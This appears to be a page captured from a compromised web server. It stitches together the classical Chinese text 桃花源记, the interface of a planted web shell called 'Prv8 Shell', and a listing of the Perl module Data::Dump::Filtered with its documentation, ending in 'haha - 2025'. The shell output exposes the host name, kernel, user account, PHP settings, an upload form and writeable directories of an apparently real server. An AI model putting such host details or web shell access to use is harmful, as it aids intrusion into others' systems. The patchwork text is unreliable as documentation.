晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/perl5/vendor_perl/Data/Dump/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/perl5/vendor_perl/Data/Dump/Filtered.pm
package Data::Dump::Filtered;

use Data::Dump ();
use Carp ();

use base 'Exporter';
our @EXPORT_OK = qw(add_dump_filter remove_dump_filter dump_filtered);

sub add_dump_filter {
    my $filter = shift;
    unless (ref($filter) eq "CODE") {
	Carp::croak("add_dump_filter argument must be a code reference");
    }
    push(@Data::Dump::FILTERS, $filter);
    return $filter;
}

sub remove_dump_filter {
    my $filter = shift;
    @Data::Dump::FILTERS = grep $_ ne $filter, @Data::Dump::FILTERS;
}

sub dump_filtered {
    my $filter = pop;
    if (defined($filter) && ref($filter) ne "CODE") {
	Carp::croak("Last argument to dump_filtered must be undef or a code reference");
    }
    local @Data::Dump::FILTERS = ($filter ? $filter : ());
    return &Data::Dump::dump;
}

1;

=head1 NAME

Data::Dump::Filtered - Pretty printing with filtering

=head1 DESCRIPTION

The following functions are provided:

=over

=item add_dump_filter( \&filter )

This registers a filter function to be used by the regular Data::Dump::dump()
function.  By default no filters are active.

Since registering filters has a global effect is might be more appropriate
to use the dump_filtered() function instead.

=item remove_dump_filter( \&filter )

Unregister the given callback function as filter callback.
This undoes the effect of L<add_filter>.

=item dump_filtered(..., \&filter )

Works like Data::Dump::dump(), but the last argument should
be a filter callback function.  As objects are visited the
filter callback is invoked at it might influence how objects are dumped.

Any filters registered with L<add_filter()> are ignored when
this interface is invoked.  Actually, passing C<undef> as \&filter
is allowed and C<< dump_filtered(..., undef) >> is the official way to
force unfiltered dumps.

=back

=head2 Filter callback

A filter callback is a function that will be invoked with 2 arguments;
a context object and reference to the object currently visited.  The return
value should either be a hash reference or C<undef>.

    sub filter_callback {
        my($ctx, $object_ref) = @_;
	...
	return { ... }
    }

If the filter callback returns C<undef> (or nothing) then normal
processing and formatting of the visited object happens.
If the filter callback returns a hash it might replace
or annotate the representation of the current object.

=head2 Filter context

The context object provide methods that can be used to determine what kind of
object is currently visited and where it's located.  The context object has the
following interface:

=over

=item $ctx->object_ref

Alternative way to obtain a reference to the current object

=item $ctx->class

If the object is blessed this return the class.  Returns ""
for objects not blessed.

=item $ctx->reftype

Returns what kind of object this is.  It's a string like "SCALAR",
"ARRAY", "HASH", "CODE",...

=item $ctx->is_ref

Returns true if a reference was provided.

=item $ctx->is_blessed

Returns true if the object is blessed.  Actually, this is just an alias
for C<< $ctx->class >>.

=item $ctx->is_array

Returns true if the object is an array

=item $ctx->is_hash

Returns true if the object is a hash

=item $ctx->is_scalar

Returns true if the object is a scalar (a string or a number)

=item $ctx->is_code

Returns true if the object is a function (aka subroutine)

=item $ctx->container_class

Returns the class of the innermost container that contains this object.
Returns "" if there is no blessed container.

=item $ctx->container_self

Returns an textual expression relative to the container object that names this
object.  The variable C<$self> in this expression is the container itself.

=item $ctx->object_isa( $class )

Returns TRUE if the current object is of the given class or is of a subclass.

=item $ctx->container_isa( $class )

Returns TRUE if the innermost container is of the given class or is of a
subclass.

=item $ctx->depth

Returns how many levels deep have we recursed into the structure (from the
original dump_filtered() arguments).

=item $ctx->expr

=item $ctx->expr( $top_level_name )

Returns an textual expression that denotes the current object.  In the
expression C<$var> is used as the name of the top level object dumped.  This
can be overridden by providing a different name as argument.

=back

=head2 Filter return hash

The following elements has significance in the returned hash:

=over

=item dump => $string

incorporate the given string as the representation for the
current value

=item object => $value

dump the given value instead of the one visited and passed in as $object.
Basically the same as specifying C<< dump => Data::Dump::dump($value) >>.

=item comment => $comment

prefix the value with the given comment string

=item bless => $class

make it look as if the current object is of the given $class
instead of the class it really has (if any).  The internals of the object
is dumped in the regular way.  The $class can be the empty string
to make Data::Dump pretend the object wasn't blessed at all.

=item hide_keys => ['key1', 'key2',...]

=item hide_keys => \&code

If the $object is a hash dump is as normal but pretend that the
listed keys did not exist.  If the argument is a function then
the function is called to determine if the given key should be
hidden.

=back

=head1 SEE ALSO

L<Data::Dump>

haha - 2025